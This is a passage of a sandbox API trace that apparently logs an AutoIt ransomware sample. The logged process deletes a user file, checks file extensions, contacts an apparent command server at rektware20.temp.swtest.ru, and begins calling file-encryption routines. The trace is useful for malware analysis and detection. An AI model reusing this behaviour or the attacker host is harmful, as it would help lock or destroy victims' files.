wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.550] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.550] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.550] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.550] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.550] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.550] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.550] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.550] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.550] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.550] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.550] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.550] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.550] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.551] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.551] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.551] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0072.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.551] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.551] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.551] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.551] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.551] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.551] CloseHandle (hObject=0x2ac) returned 1 [0072.551] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.551] CloseHandle (hObject=0x3bc) returned 1 [0072.554] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.554] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.554] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", lpFilePart=0x0) returned 0x3d [0072.554] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico")) returned 0x2 [0072.554] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0072.554] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\my shapes\\_private\\folder.ico")) returned 1 [0072.556] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.556] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0072.556] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.556] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.556] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.556] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.556] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0072.556] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.557] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.557] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.557] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.557] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.557] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.557] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0072.557] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.557] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.557] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.576] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.576] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.576] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.576] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.576] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.583] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.583] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.583] CloseHandle (hObject=0x0) returned 0 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.583] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="78xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xsbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sbw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bw8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pexi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="exi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xi.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i.ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.584] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ods", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.584] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.584] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.584] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.584] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.584] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.585] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.585] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.585] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.585] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c) returned 1 [0072.585] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.585] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.585] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.587] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.587] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.587] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.587] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.591] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.591] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.591] CloseHandle (hObject=0x0) returned 0 [0072.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.591] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\78xsbw8Pexi.ods", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0072.591] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.591] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.591] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.591] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.591] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.592] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.592] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.592] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.592] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.592] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.592] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.592] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 